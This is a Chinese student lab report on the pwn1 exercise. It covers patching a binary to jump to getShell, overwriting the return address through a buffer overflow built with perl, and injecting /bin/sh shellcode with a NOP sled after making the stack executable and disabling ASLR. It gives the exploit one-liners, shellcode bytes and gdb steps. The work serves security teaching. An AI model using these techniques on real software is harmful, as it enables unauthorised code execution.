##一、实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
##二、实验内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
##三、基础知识
###1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:90
- JNE:75
- JE:74
- CMP:38~3D
###2.掌握反汇编与十六进制编程器
- 反汇编指令
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section
- 十六进制编程器:用来以16进制视图进行文本编辑的工具软件
vim <filename>:
以ASCII码形式显示可执行文件的内容
:%!xxd: 将显示模式切换为16进制模式
:%!xxd: 将16进制切换回ASCII码模式
###3.什么是漏洞,漏洞有什么危害?(自己的话)
什么是漏洞?
- 漏洞是与计算机有关的,可以被攻击者利用从而进行攻击的细节。
漏洞有什么危害?
- 漏洞如果被攻击者所利用,就可能给计算机、网络等造成严重损害,可能导致系统破坏、信息泄露、网络崩溃等问题。
##四、其他知识 ###1.管道(|)
|
:是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
###2.输出重定向:
>
:代表以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。
>>
:代表以追加方式输出。
###3.输入重定向:
命令 < 文件名
:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。
###4.EIP
- CPU每次执行控制器读取完,相应的就再通过EIP寄存器去进行下一次的读取指令工作。每次CPU读取指令到指令缓冲区,相应的EIP寄存器的值增加,增加大小的就是读取指令的字节大小。
###5.NOP(滑行区)
- 即滑行区,返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
- 起到填充和“着陆、滑行”的作用
##五、实验任务
###任务一 直接修改程序机器指令,改变程序执行流程
原理(思路):
- 1.对目标文件进行反汇编,找到main函数,和要攻击的foo函数
- 2.通过汇编指令找到main函数跳转到foo函数的指令,分析其对应的机器指令
- 3.修改目标文件的对应的机器指令,使得main函数跳转到getShell函数
步骤:
- 对pwn1进行备份,备份为pwn1.bak
- 输入指令
objdump -d pwn1 | more
对pwn1
文件进行反汇编
- 找到main函数跳转到foo函数的指令,对反汇编的结果进行分析
- 可以看到函数的地址为
08048491
,main函数中的call 8048491 <foo>
指令的机器码为e8 d7 ff ff ff
,下一条指令的地址为80484ba
。机器码中的0xffffffd7 = 0x080484ba - 0x08048491
为主函数执行位置和foo函数起始地址的差 - 因此,想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为
0x080484ba - 0x0804847d = 0xffffffc3
- 可以看到函数的地址为
- 修改目标文件机器码
- 输入指令
vi pwn1
打开以ASCII码显示的文件 - 输入指令
:%!xxd
将文件转换为16进制查看 - 找到
d7ffffff
位置,输入i
进入插入模式,将d7
修改为c3
- 输入指令
:%!xxd -r
将文件转化为ASCII码形式,保存并退出
- 输入指令
- 此时输入指令
objdump -d pwn1 | more
查看,发现pwn1文件已经被修改了
结果:
- 运行更改后的pwn1,执行getShell,得到shell提示符
- 运行备份pwn1.bak,正常执行foo函数,实现回显功能
###任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
原理(思路):
- 1.通过观察main函数调用的函数,观察系统预留的缓冲区的大小,用该大小加上4字节(ebp),即可得出eip(返回地址)的位置,只要让getShell的地址覆盖该eip就可以让程序执行getShell
- 2.经分析可知应该输入
缓冲区大小+4字节(ebp)+getShell的地址
,使得getShell的地址覆盖eip - 3.因为我们没法通过键盘输入16进制值,所以先通过perl语言生成包括这样字符串的一个文件,并使用输出重定向“>”将perl生成的字符串存储到文件input中
- 4.将input的输入,通过管道符“|”,作为目标文件的输入
步骤:
- 通过反汇编指令查看foo函数中为输入预留的空间
计算出实现缓冲区溢出的字符数为
28+4=32
字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在eip(返回地址)处,即33~36字节,接下对猜想进行验证我们在gdb中输入至少36字节的数据,可以看到给出了Segmentation fault 的错误提示,同时可以查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜想
我们将33~36字节的内容替换为getShell的地址,即
x7dx84x04x08
,前32字节可以任意输入由于我们无法从键盘输入16进制的值,因此运用perl语言和
>
输出重定向构造输入文件perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
构造输入,我们可以通过cat
和xxd
指令查看我们构造的输入文件
结果:
- 然后通过管道符
|
,输入命令(cat input; cat ) | ./pwn2
将构造的输入input作为pwn2的输入并运行,结果如下:
###任务三 注入shellcode并执行
原理(思路):
- 1.设置堆栈可执行、关闭地址随机化
- 2.根据我们的目的构造shellcode
- 3.以
retaddr+nop+shellcode
(缓冲区小)或nop+shellcode+retaddr
(缓冲区大)的方式构造攻击buf - 4.先构造一个任意的返回地址(最后不能是x0a(回车)),然后注入这段buf并运行改进程
- 5.再打开另一个终端来调试该进程,并找到滑动区nop的地址,以确定retaddr的值
- 6.用调试确定的返回值填入retaddr,再次注入此时的buf并运行,即可发现进程成功运行shellcode
步骤:
execstack -s pwn3
设置堆栈可执行execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行- linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化
more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭
- 参考老师给出的代码,我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"'
> input_shellcode
- 在该终端中通过
(cat input_shellcode;cat) | ./pwn3
运行pwn3 - 在另一个终端中输入
ps -ef | grep pwn3
查看pwn3的进程号
- 启用gdb调试并定位pwn3进程
disassemble foo
进行反编译,可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
- 在第运行终端中按下回车继续运行, 程序执行到断点停止
- 再在调试终端输入
c
继续运行程序 info r esp
查看esp寄存器地址,此时esp的地址即为eip的地址- 输入
x/16x 0xffffd1ac
以16进制形式查看0xffffd1ac
地址后面的内容 - 可以观察到、最先出现0x90(滑行区)的位置地址为
0xffffd1ac+0x00000004=0xffffd1b0
将注入代码buf的地址改为
0xffffd1b0
输入
(cat input_shellcode;cat) | ./pwn3
结果:
- 成功运行了shellcode
##六、遇到的问题和解决 问题一:
- 在做任务一时,改完机器指令后,忘记将其转换成ASCLL码形式,就保存退出了,导致后续无法进行反汇编
解决一:
- 又重做了一遍,记得用
:%!xxd -r
转成ASCLL码形式就不会出问题
问题二:
- 在参考组长的博客时,发现他任务三,在调试的过程中,一直不理解为什么通过寻找esp的地址,来确定eip的地址
解决二:
- 后来经过组内讨论,发现是自己没有注意到断点的位置ret指令之前,已经执行过leave指令,即已经执行过
pop ebp
,此时esp已经指向eip了
##七、实验心得体会
之前自己对网络攻防这方面也算是有点兴趣、有点好奇吧,这次,在看了老师的视频讲解之后,自己实操了一把,感觉还不错,可能是前期看视频、学知识准备的比较久,做完还有那么一点点小成就感。
这次实验的主要困难就是在于对机器码、汇编指令、十六进制数、堆栈原理的掌握还不是很充分,一些地方理解起来比较费劲,我是看完老师的视频就开始参考着组长的博客开做了,在做的过程中,有不懂的地方,就直接上网上去查,没有的话就去问同学,和组内同学讨论,边做边学,摸着石头过河。
最后做下来,整体感觉还是不错的,也没有遇到太大的问题,所有遇到问题都得到了解决,对这次的实验内容也有了基本的了解,同时也有了很大的收获。也还有很多地方掌握的不是太好,如机器指令、汇编语言之类的,之后我也会加强学习,争取做的更好!
##八、参考链接